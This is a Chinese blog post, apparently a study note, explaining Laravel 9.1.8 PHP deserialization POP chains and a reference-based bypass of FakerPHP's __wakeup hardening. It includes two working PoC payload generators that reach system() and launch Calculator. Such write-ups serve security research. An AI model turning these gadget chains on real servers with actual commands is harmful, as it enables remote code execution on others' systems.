前言
最近在忙hvv前准备,没看啥东西。
正文
Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。
该框架中存在一些反序列化的问题。
利用链的入口点为src/Illuminate/Broadcasting/PendingBroadcast.php ,查看其__destruct() 方法:
`<?php`` ``namespace Illuminate\Broadcasting;`` ``use Illuminate\Contracts\Events\Dispatcher;`` ``class PendingBroadcast``{` `protected $events;` `protected $event;`` ` `public function __construct(Dispatcher $events, $event)``{` `$this->event = $event;` `$this->events = $events;` `}`` ` `......`` ` `public function __destruct()``{` `$this->events->dispatch($this->event);` `}``}`
逻辑很清晰,event与events可控,我们需要找到一个可利用的dispatch或call方法。
其中存在一条 src/Faker/Generator.php 利用链:
`......`` ``public function format($format, $arguments = [])``{` `return call_user_func_array($this->getFormatter($format), $arguments);``}`` ` `.......`` ``public function getFormatter($format)``{` `if (isset($this->formatters[$format])) {` `return $this->formatters[$format];` `}`` ` `if (method_exists($this, $format)) {` `$this->formatters[$format] = [$this, $format];` `return $this->formatters[$format];` `}`` ` `foreach ($this->providers as $provider) {` `if (method_exists($provider, $format)) {` `$this->formatters[$format] = [$provider, $format];`` ` `return $this->formatters[$format];` `}` `}`` ` `throw new \InvalidArgumentException(sprintf('Unknown format "%s"', $format));``}` ` ` `......`` ``public function __get($attribute)``{` `trigger_deprecation('fakerphp/faker', '1.14', 'Accessing property "%s" is deprecated, use "%s()" instead.', $attribute, $attribute);`` ` `return $this->format($attribute);``}`` ``public function __call($method, $attributes)``{` `return $this->format($method, $attributes);``}`` `` ` `......`
__call()会调用format进行初始化,而其中调用了call_user_func_array()方法进行函数调用,而callback字段由getFormatter()控制,这段我们是可控的(截图用的是Laravel 9.1.8):
构造payload:
`<?php``namespace Faker;`` ``class Generator``{` `protected $formatters = array();` `public function __construct($xx)``{` `$this->formatters = ['dispatch'=>$xx];` `}``}`` ``namespace Illuminate\Broadcasting;``use Faker\Generator;`` ``class PendingBroadcast{` `public $events;` `public $event;`` ` `public function __construct($xx)``{` `$this->events = new Generator($xx);` `$this->event = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";` `}`` ``}``echo base64_encode(serialize(new PendingBroadcast('system')));``?>`
但FakerPHP zai1v1.12.1之后对这条链做了加固,在Generator.php 的 __wakeup() 方法中:
formatters字段被置空,我们无法再调用任意函数。
于是在Laravel 9.1.8中出现了POP Chain3这条链,其实就是针对上述加固的绕过。
利用的是php反序列化的reference特性:
https://www.phpinternalsbook.com/php5/classes\_objects/serialization.html
由inhann师傅提出的demo如下:
https://inhann.top/2022/05/17/bypass\_wakeup/
由于该R:2特性的原因,使得两个序列化变量指向的值为同一个(听起来很像指针)。
demo:
demo1变量值的变化同样会影响到demo2。
利用此特性可以在__wakeup()方法将formatters字段置空后再对其变量值进行“ 引用 ”。
核心绕过逻辑:
1.找到一个类$demo,其中有一个赋值完全可控的属性$xx(最好使用__wakeup()或__destruct()进行赋值)。
2.将Faker\Generator 的 $this->formatters 与 $demo 的 $xx通过reference特性指向同一值。
3.在Faker\Generator 的__wakeup()方法执行后,__destrcut()方法执行前,对$xx进行赋值。
inhann师傅给出的三条链如下:
Part/SMimePart.php
Part/DataPart.php
Part/TextPart.php
查看Part/TextPart.php:
这个类来自 https://github.com/symfony/mime ,其 $headers
属性继承自其父类 AbstractPart
,__wakeup()
当中使用反射给 $headers
赋值。
改造之前的poc:
`<?php`` ``namespace Faker {` `class Generator {` `protected $providers = [];` `protected $formatters = [];` `function __construct() {` `$this->formatter = "dispatch";` `$this->formatters = 9999;` `}` `}``}`` ``namespace Illuminate\Broadcasting {` `class PendingBroadcast {` `public function __construct() {` `$this->event = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";` `$this->events = new \Faker\Generator();` `}` `}``}`` ``namespace Symfony\Component\Mime\Part {` `abstract class AbstractPart {` `private $headers = null;` `}`` ` `class TextPart extends AbstractPart {` `protected $_headers;` `public $bluE0;` `function __construct() {` `$this->_headers = ["dispatch"=>"system"];` `$this->bluE0 = new \Illuminate\Broadcasting\PendingBroadcast();` `}` `}``}`` ``namespace {` `$pop = new \Symfony\Component\Mime\Part\TextPart();` `$ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($pop));` `echo base64_encode(str_replace("i:9999","R:2",$ser));``}`
让 Faker\Generator 的 $this->formatters 引用到 Symfony\Component\Mime\Part\TextPart 继承的 $headers。
将Textpart 继承的 $headers 的序列化数据排列到 Faker\\Generator 的 $this->formatters 的序列化数据之前。
让Faker\\Generator 是 Symfony\\Component\\Mime\\Part\\TextPart 的一个属性 ,这样一来 Textpart 的 \_\_wakeup 才会在 Faker\\Generator 的 \_\_wakeup 之后执行。
后记
php不是很了解,就当篇学习笔记吧。